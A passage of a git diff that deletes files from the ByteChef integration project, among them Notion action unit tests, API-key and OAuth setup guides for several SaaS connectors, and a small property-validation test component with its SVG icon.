- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.action;
-
-import static com.bytechef.component.notion.constant.NotionConstants.ID;
-import static org.junit.jupiter.api.Assertions.assertArrayEquals;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Monika Kušter
- */
-class NotionGetPageOrBlockChildrenActionTest {
-
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Http.Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Http.Executor mockedExecutor = mock(Http.Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(Map.of(ID, "parent-id"));
-    private final Http.Response mockedResponse = mock(Http.Response.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-    private final ArgumentCaptor<Object[]> objectsArgumentCaptor = forClass(Object[].class);
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testPerform() {
-        Map<String, Object> child1 = new HashMap<>(Map.of("id", "child-1", "has_children", true));
-        Map<String, Object> child2 = Map.of("id", "child-2", "has_children", false);
-        Map<String, Object> grandchild = Map.of("id", "grandchild-1", "has_children", false);
-
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameters(objectsArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(
-                Map.of("results", List.of(child1, child2)),
-                Map.of("results", List.of(grandchild)));
-
-        List<Object> result = NotionGetPageOrBlockChildrenAction.perform(mockedParameters, null, mockedContext);
-
-        child1.put("children", List.of(grandchild));
-        assertEquals(List.of(child1, child2), result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals(
-            List.of("/blocks/parent-id/children", "/blocks/child-1/children"),
-            stringArgumentCaptor.getAllValues());
-
-        Object[] objects = {
-            "page_size", 100, "start_cursor", null
-        };
-        assertArrayEquals(objects, objectsArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionListDatabaseItemsActionTest.java b/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionListDatabaseItemsActionTest.java
deleted file mode 100644
index 18a4ced442e..00000000000
--- a/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionListDatabaseItemsActionTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.action;
-
-import static com.bytechef.component.notion.constant.NotionConstants.DIRECTION;
-import static com.bytechef.component.notion.constant.NotionConstants.ID;
-import static com.bytechef.component.notion.constant.NotionConstants.PROPERTY;
-import static org.junit.jupiter.api.Assertions.assertArrayEquals;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.notion.util.NotionUtils;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Monika Kušter
- */
-class NotionListDatabaseItemsActionTest {
-
-    private final Context mockedContext = mock(Context.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(ID, "123", PROPERTY, "checkbox", DIRECTION, "ascending"));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-    private final ArgumentCaptor<Context> contextArgumentCaptor = forClass(Context.class);
-    private final ArgumentCaptor<Boolean> booleanArgumentCaptor = forClass(Boolean.class);
-    private final ArgumentCaptor<Object[]> objectsArgumentCaptor = forClass(Object[].class);
-
-    @Test
-    void testPerform() {
-        try (MockedStatic<NotionUtils> notionUtilsMockedStatic = mockStatic(NotionUtils.class)) {
-            notionUtilsMockedStatic.when(() -> NotionUtils.getAllItems(
-                contextArgumentCaptor.capture(), stringArgumentCaptor.capture(), booleanArgumentCaptor.capture(),
-                objectsArgumentCaptor.capture()))
-                .thenReturn(List.of(mockedObject));
-
-            Object result = NotionListDatabaseItemsAction.perform(mockedParameters, null, mockedContext);
-
-            assertEquals(List.of(mockedObject), result);
-            assertEquals(mockedContext, contextArgumentCaptor.getValue());
-            assertEquals("/data_sources/123/query", stringArgumentCaptor.getValue());
-            assertFalse(booleanArgumentCaptor.getValue());
-
-            assertArrayEquals(
-                new Object[] {
-                    "sorts", List.of(Map.of(PROPERTY, "checkbox", DIRECTION, "ascending"))
-                },
-                objectsArgumentCaptor.getValue());
-        }
-    }
-}
diff --git a/server/libs/modules/components/nutshell/src/main/resources/connection.mdx b/server/libs/modules/components/nutshell/src/main/resources/connection.mdx
deleted file mode 100644
index 33602803abd..00000000000
--- a/server/libs/modules/components/nutshell/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create API Key
-
-1. Navigate to [Nutshell](https://app.nutshell.com/sales/dashboard) dashboard.
-2. Click on **Settings**.
-3. Click on **Connections**.
-4. Click on **Add API key…**.
-5. Enter name and choose **API + user Impersonation**.
-6. Click on **New API key**.
-7. Click on new API key.
-8. Here you can copy your **API Key**.
-9. Click on **Save API key**.
-10. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/daae8c5b-00aa-4354-919e-61300366cae5?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/one-simple-api/src/main/resources/connection.mdx b/server/libs/modules/components/one-simple-api/src/main/resources/connection.mdx
deleted file mode 100644
index 21cbb55bb58..00000000000
--- a/server/libs/modules/components/one-simple-api/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,15 +0,0 @@
-## Connection Setup
-
-### Create API Token
-
-1. Navigate to [OneSimpleApi](https://onesimpleapi.com/) dashboard.
-2. Click on your account icon.
-3. Click on **API Tokens**.
-4. Enter name of your token.
-5. Click on **Create**.
-6. Here you can see your **API Token**.
-7. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/8a51616c-3b10-443b-8c38-f842ff4ca5e0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/pagerduty/src/main/resources/connection.mdx b/server/libs/modules/components/pagerduty/src/main/resources/connection.mdx
deleted file mode 100644
index eb0af7cd0a2..00000000000
--- a/server/libs/modules/components/pagerduty/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Find OAuth Client ID and Client Secret
-
-1. Navigate to your dashboard.
-2. Click on **Account Settings**.
-3. Hover on **Integrations**.
-4. Click on **API Access Keys**
-5. Click on **Create New API Key**.
-6. Enter description of your API key.
-7. Click on **Create Key**.
-8. Here you can see API key. Copy it because you will not be able to see it again.
-9. Click on **Close**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/8793e22c-bae1-443d-a310-0d979bec1d56?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/posthog/src/main/resources/connection.mdx b/server/libs/modules/components/posthog/src/main/resources/connection.mdx
deleted file mode 100644
index 5e7b2b872ff..00000000000
--- a/server/libs/modules/components/posthog/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,10 +0,0 @@
-## Connection Setup
-
-1. Navigate to your PostHog homepage.
-2. Click on **Settings**.
-3. Scroll until you reach **Project ID**.
-4. There you will see your **Project API Key**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f1bb1209-bcae-4fee-bb23-7b68d1cfd8ae?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/productboard/src/main/resources/connection.mdx b/server/libs/modules/components/productboard/src/main/resources/connection.mdx
deleted file mode 100644
index 841a064ebf9..00000000000
--- a/server/libs/modules/components/productboard/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,34 +0,0 @@
-## Connection Setup
-
-Connect Productboard to ByteChef using either a Public API Access Token (Bearer Token) or OAuth 2.0 Authorization Code.
-
-### Public API Access Token
-1. Log in to Productboard.
-2. Open **Settings** → **Integrations**.
-3. Go to the **Manage** tab.
-4. Under **Public APIs**, click **Access token**.
-5. Click **+ Add token** and follow the prompts.
-6. Copy the generated token value.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f3AWaxY95z6JMKcNyFxz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### OAuth 2.0 Authorization Code
-1. In Productboard, open: https://app.productboard.com/oauth2/applications
-2. Click **New OAuth2 Application**.
-3. Enter a name, description, and any other required fields.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-   - Cloud: `https://app.bytechef.io/callback`
-   - Local development: `http://localhost:5173/callback`
-5. Select the scopes your app needs. For the ByteChef Productboard connector, enable:
-    - `notes:create`
-    - `notes:read`
-    - `notes:manage`
-    - `product_hierarchy_data:read`
-6. Click **Create Application**.
-7. Copy the generated `Client ID` and `Client Secret`.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/vwnJVxj8Wrg5MIsO6jM0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/property-testing/build.gradle.kts b/server/libs/modules/components/property-testing/build.gradle.kts
deleted file mode 100644
index bf2a7f56ed1..00000000000
--- a/server/libs/modules/components/property-testing/build.gradle.kts
+++ /dev/null
@@ -1,2 +0,0 @@
-version="1.0"
-
diff --git a/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/PropertyTestingComponentHandler.java b/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/PropertyTestingComponentHandler.java
deleted file mode 100644
index e2353021e53..00000000000
--- a/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/PropertyTestingComponentHandler.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.property.testing;
-
-import static com.bytechef.component.definition.ComponentDsl.component;
-
-import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.definition.ComponentCategory;
-import com.bytechef.component.definition.ComponentDefinition;
-import com.bytechef.component.property.testing.action.PropertyTestingAction;
-import com.google.auto.service.AutoService;
-
-@AutoService(ComponentHandler.class)
-public class PropertyTestingComponentHandler implements ComponentHandler {
-
-    private static final ComponentDefinition COMPONENT_DEFINITION = component("propertyTesting")
-        .title("Property Testing")
-        .description("Component fo testing.")
-        .icon("path:assets/example.svg")
-        .categories(ComponentCategory.HELPERS)
-        .actions(PropertyTestingAction.ACTION_DEFINITION);
-
-    @Override
-    public ComponentDefinition getDefinition() {
-        return COMPONENT_DEFINITION;
-    }
-}
diff --git a/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/action/PropertyTestingAction.java b/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/action/PropertyTestingAction.java
deleted file mode 100644
index d6e849cd774..00000000000
--- a/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/action/PropertyTestingAction.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.property.testing.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.number;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.ARRAY_MAX_ITEMS;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.ARRAY_MIN_ITEMS;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.INTEGER_MAX_VALUE;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.INTEGER_MIN_VALUE;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.NUMBER_MAX_PRECISION;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.NUMBER_MAX_VALUE;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.NUMBER_MIN_PRECISION;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.NUMBER_MIN_VALUE;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.NUMBER_PRECISION;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.STRING_MAX_LENGTH;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.STRING_MIN_LENGTH;
-import static com.bytechef.component.property.testing.constant.PropertyTestingConstants.STRING_REG_EX;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-public class PropertyTestingAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("testingAction")
-        .title("Testing")
-        .description("Description")
-        .properties(
-            array(ARRAY_MAX_ITEMS)
-                .label("Array Max Items")
-                .maxItems(3)
-                .description("Max items set to 3")
-                .items(string()),
-            array(ARRAY_MIN_ITEMS)
-                .label("Array Min Items")
-                .minItems(3)
-                .description("Min items set to 3")
-                .items(string()),
-            integer(INTEGER_MAX_VALUE)
-                .maxValue(10)
-                .label("Integer Max Value")
-                .description("Integer maximum value set to 10"),
-            integer(INTEGER_MIN_VALUE)
-                .minValue(10)
-                .label("Integer Min Value")
-                .description("Integer minimum value set to 10"),
-            number(NUMBER_MAX_PRECISION)
-                .label("Number Max Number Precision")
-                .description("Number max number precision set to 2")
-                .maxNumberPrecision(2),
-            number(NUMBER_MIN_PRECISION)
-                .label("Number Min Number Precision")
-                .description("Number min number precision set to 2")
-                .minNumberPrecision(2),
-            number(NUMBER_MAX_VALUE)
-                .label("Number Max Value")
-                .description("Number max value set to 5")
-                .maxValue(5),
-            number(NUMBER_MIN_VALUE)
-                .label("Number Min Value")
-                .description("Number min value set to 5")
-                .minValue(5),
-            number(NUMBER_PRECISION)
-                .label("Number Precision")
-                .description("Number precision set to 3")
-                .numberPrecision(3),
-            string(STRING_MAX_LENGTH)
-                .label("String Max Length")
-                .maxLength(5)
-                .description("Maximum length set to 5."),
-            string(STRING_MIN_LENGTH)
-                .label("String Min Length")
-                .description("Minimum length set to 5.")
-                .minLength(5),
-            string(STRING_REG_EX)
-                .label("String Regular Expression")
-                .description(
-                    "Regular expression is set to: \"[^A-Za-z]\". Just letters from a text should be returned.")
-                .regex("[^A-Za-z]"))
-        .output(outputSchema(object()))
-        .perform(PropertyTestingAction::perform);
-
-    private PropertyTestingAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        return inputParameters;
-    }
-}
diff --git a/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/constant/PropertyTestingConstants.java b/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/constant/PropertyTestingConstants.java
deleted file mode 100644
index 38e4e997dfe..00000000000
--- a/server/libs/modules/components/property-testing/src/main/java/com/bytechef/component/property/testing/constant/PropertyTestingConstants.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.property.testing.constant;
-
-public class PropertyTestingConstants {
-
-    public static final String ARRAY_MAX_ITEMS = "arrayMaxItems";
-    public static final String ARRAY_MIN_ITEMS = "arrayMinItems";
-    public static final String INTEGER_MAX_VALUE = "integerMaxValue";
-    public static final String INTEGER_MIN_VALUE = "integerMinValue";
-    public static final String NUMBER_MAX_PRECISION = "numberMaxNumPrecision";
-    public static final String NUMBER_MIN_PRECISION = "numberMinNumPrecision";
-    public static final String NUMBER_MAX_VALUE = "numberMaxValue";
-    public static final String NUMBER_MIN_VALUE = "numberMinValue";
-    public static final String NUMBER_PRECISION = "numberPrecision";
-    public static final String STRING_MAX_LENGTH = "stringMaxLength";
-    public static final String STRING_MIN_LENGTH = "stringMinLength";
-    public static final String STRING_REG_EX = "stringRegEx";
-
-    private PropertyTestingConstants() {
-    }
-}
diff --git a/server/libs/modules/components/property-testing/src/main/resources/README.mdx b/server/libs/modules/components/property-testing/src/main/resources/README.mdx
deleted file mode 100644
index 89aab95772e..00000000000
--- a/server/libs/modules/components/property-testing/src/main/resources/README.mdx
+++ /dev/null
@@ -1,7 +0,0 @@
-## Example
-
-This is an example of an example. 
-
-1. Step 1
-2. Step 2
-3. ![An illustration of planets and stars featuring the word “astro”](https://raw.githubusercontent.com/withastro/docs/main/public/default-og-image.png)
diff --git a/server/libs/modules/components/property-testing/src/main/resources/assets/example.svg b/server/libs/modules/components/property-testing/src/main/resources/assets/example.svg
deleted file mode 100644
index a1b37296316..00000000000
--- a/server/libs/modules/components/property-testing/src/main/resources/assets/example.svg
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="172px" height="178px" style="shape-rendering:geometricPrecision; text-rendering:geometricPrecision; image-rendering:optimizeQuality; fill-rule:evenodd; clip-rule:evenodd" xmlns:xlink="http://www.w3.org/1999/xlink">
-<g><path style="opacity:1" fill="#edecec" d="M -0.5,-0.5 C 56.8333,-0.5 114.167,-0.5 171.5,-0.5C 171.5,58.8333 171.5,118.167 171.5,177.5C 114.167,177.5 56.8333,177.5 -0.5,177.5C -0.5,118.167 -0.5,58.8333 -0.5,-0.5 Z"/></g>
-<g><path style="opacity:1" fill="#94322c" d="M 30.5,33.5 C 33.0751,34.7284 35.4084,36.3951 37.5,38.5C 38.5,38.1667 39.1667,37.5 39.5,36.5C 35.8114,32.4799 32.1447,28.4799 28.5,24.5C 33.1441,27.448 37.4774,31.448 41.5,36.5C 40.5,38.1667 39.1667,39.5 37.5,40.5C 34.8122,38.4789 32.4789,36.1456 30.5,33.5 Z"/></g>
-<g><path style="opacity:1" fill="#a10704" d="M 28.5,24.5 C 32.1447,28.4799 35.8114,32.4799 39.5,36.5C 39.1667,37.5 38.5,38.1667 37.5,38.5C 35.4084,36.3951 33.0751,34.7284 30.5,33.5C 29.0937,33.9731 28.427,34.9731 28.5,36.5C 29.3891,38.736 30.7224,40.736 32.5,42.5C 31.9653,44.1013 30.9653,44.6013 29.5,44C 27.9568,42.2863 26.2901,40.7863 24.5,39.5C 23.5836,39.5427 22.9169,39.8761 22.5,40.5C 21.6091,41.2613 20.9424,42.2613 20.5,43.5C 22.6499,46.1506 24.9832,48.6506 27.5,51C 26.3147,52.353 24.9814,53.5197 23.5,54.5C 19.0149,50.5154 14.6816,46.3487 10.5,42C 16.3686,35.9638 22.3686,30.1305 28.5,24.5 Z"/></g>
-<g><path style="opacity:1" fill="#921510" d="M 74.5,28.5 C 77.0014,28.8256 78.1681,30.1589 78,32.5C 73.8333,36.6667 69.6667,40.8333 65.5,45C 61.6348,46.3486 59.4681,45.1819 59,41.5C 60.0084,41.0183 61.175,40.8516 62.5,41C 66.7036,36.9644 70.7036,32.7978 74.5,28.5 Z"/></g>
-<g><path style="opacity:1" fill="#952f29" d="M 28.5,36.5 C 30.8122,38.1455 32.8122,40.1455 34.5,42.5C 33.4182,44.7837 31.7516,45.9504 29.5,46C 27.5588,43.5464 25.2254,41.713 22.5,40.5C 22.9169,39.8761 23.5836,39.5427 24.5,39.5C 26.2901,40.7863 27.9568,42.2863 29.5,44C 30.9653,44.6013 31.9653,44.1013 32.5,42.5C 30.7224,40.736 29.3891,38.736 28.5,36.5 Z"/></g>
-<g><path style="opacity:1" fill="#950202" d="M 81.5,41.5 C 78.7461,44.5776 76.0795,47.5776 73.5,50.5C 72.3871,49.0536 72.2204,47.3869 73,45.5C 75.0165,43.316 77.1831,41.316 79.5,39.5C 80.5223,39.8555 81.189,40.5222 81.5,41.5 Z"/></g>
-<g><path style="opacity:1" fill="#9e0d08" d="M 53.5,57.5 C 53.3893,58.1174 53.056,58.6174 52.5,59C 49.2979,59.1978 46.2979,60.0311 43.5,61.5C 42.9185,65.0711 41.9185,68.4044 40.5,71.5C 39.5416,71.0472 38.7083,70.3805 38,69.5C 37.5034,67.1902 37.3367,64.8568 37.5,62.5C 35.7376,62.3573 34.0709,62.6906 32.5,63.5C 30.3501,61.8509 28.3501,60.0176 26.5,58C 30.1788,57.1654 33.8454,56.332 37.5,55.5C 38.8027,51.8364 39.9694,48.1698 41,44.5C 44.8774,46.7571 46.3774,50.0904 45.5,54.5C 48.9419,53.8283 51.6086,54.8283 53.5,57.5 Z"/></g>
-<g><path style="opacity:1" fill="#931c17" d="M 81.5,41.5 C 82.525,41.8966 82.6917,42.5632 82,43.5C 79.9824,45.3501 78.1491,47.3501 76.5,49.5C 77.365,50.5827 78.365,50.7494 79.5,50C 81.0542,48.108 82.8876,46.608 85,45.5C 86.4341,45.9304 87.6008,46.7638 88.5,48C 85.6511,51.0162 82.6511,53.8496 79.5,56.5C 77.479,54.479 75.479,52.479 73.5,50.5C 76.0795,47.5776 78.7461,44.5776 81.5,41.5 Z"/></g>
-<g><path style="opacity:1" fill="#971712" d="M 89.5,53.5 C 94.0957,53.0943 97.0957,55.0943 98.5,59.5C 98.4435,60.737 97.9435,61.737 97,62.5C 95.9939,60.1568 94.4939,58.6568 92.5,58C 97.5431,65.2668 95.8765,67.9335 87.5,66C 84.6415,63.806 84.1415,61.306 86,58.5C 90.9914,65.1857 91.4914,64.8523 87.5,57.5C 88.1799,56.1401 88.8466,54.8068 89.5,53.5 Z"/></g>
-<g><path style="opacity:1" fill="#991b14" d="M 105.5,61.5 C 108.858,62.8657 109.525,64.699 107.5,67C 110.079,68.6117 110.079,70.1117 107.5,71.5C 106.522,71.0233 105.689,70.3567 105,69.5C 103.5,71 102,72.5 100.5,74C 103.079,75.6117 103.079,77.1117 100.5,78.5C 95.134,74.4292 95.3007,70.4292 101,66.5C 101.617,65.5509 101.451,64.7175 100.5,64C 101.536,62.3831 102.703,62.2164 104,63.5C 104.717,62.9558 105.217,62.2891 105.5,61.5 Z"/></g>
-<g><path style="opacity:1" fill="#9d100a" d="M 58.5,64.5 C 65.819,66.9638 69.319,71.9638 69,79.5C 66.1014,83.3259 62.7681,86.6592 59,89.5C 56.1415,88.4799 54.6415,86.4799 54.5,83.5C 47.4319,81.7727 45.7652,77.7727 49.5,71.5C 52.5766,70.123 55.5766,70.2896 58.5,72C 59.6853,73.353 61.0186,74.5197 62.5,75.5C 63.521,74.9984 63.6877,74.3317 63,73.5C 60.7664,71.3002 58.2664,69.4669 55.5,68C 56.7101,66.9609 57.7101,65.7942 58.5,64.5 Z"/></g>
-<g><path style="opacity:1" fill="#96302d" d="M 53.5,57.5 C 55.9856,58.4616 55.9856,59.2949 53.5,60C 50.4869,60.5022 47.4869,61.0022 44.5,61.5C 43.9873,65.553 43.154,69.553 42,73.5C 41.2828,72.9558 40.7828,72.2891 40.5,71.5C 41.9185,68.4044 42.9185,65.0711 43.5,61.5C 46.2979,60.0311 49.2979,59.1978 52.5,59C 53.056,58.6174 53.3893,58.1174 53.5,57.5 Z"/></g>
-<g><path style="opacity:1" fill="#e1d3d2" d="M 53.5,76.5 C 55.9124,76.244 57.5791,77.244 58.5,79.5C 55.6878,80.7195 54.0211,79.7195 53.5,76.5 Z"/></g>
-<g><path style="opacity:1" fill="#a00604" d="M 77.5,81.5 C 79.2959,82.7927 80.9625,84.2927 82.5,86C 82.1667,86.3333 81.8333,86.6667 81.5,87C 85.8769,88.2055 88.2102,91.0388 88.5,95.5C 94.67,96.1617 97.17,99.495 96,105.5C 92.981,110.199 89.1477,113.699 84.5,116C 83.6195,115.292 82.9528,114.458 82.5,113.5C 84.3883,110.101 86.8883,107.101 90,104.5C 90.765,102.934 90.5983,101.601 89.5,100.5C 84.2247,101.247 80.058,103.914 77,108.5C 75.6244,107.295 74.4577,105.962 73.5,104.5C 76.5703,101.436 79.2369,98.1029 81.5,94.5C 81.2782,91.9236 79.9449,91.0902 77.5,92C 74.354,94.3116 71.354,96.8116 68.5,99.5C 67.1451,98.8118 66.1451,97.8118 65.5,96.5C 69.5,91.5 73.5,86.5 77.5,81.5 Z"/></g>
-<g><path style="opacity:1" fill="#950e0b" d="M 119.5,84.5 C 118.839,81.0297 120.172,80.5297 123.5,83C 125.584,84.5007 126.917,86.5007 127.5,89C 125.385,92.1185 122.885,94.9518 120,97.5C 117.058,94.8018 114.558,91.8018 112.5,88.5C 113.469,85.0131 115.802,83.6798 119.5,84.5 Z"/></g>
-<g><path style="opacity:1" fill="#c8a1a1" d="M 119.5,84.5 C 121.686,84.5106 122.519,85.5106 122,87.5C 120.955,86.6266 120.122,85.6266 119.5,84.5 Z"/></g>
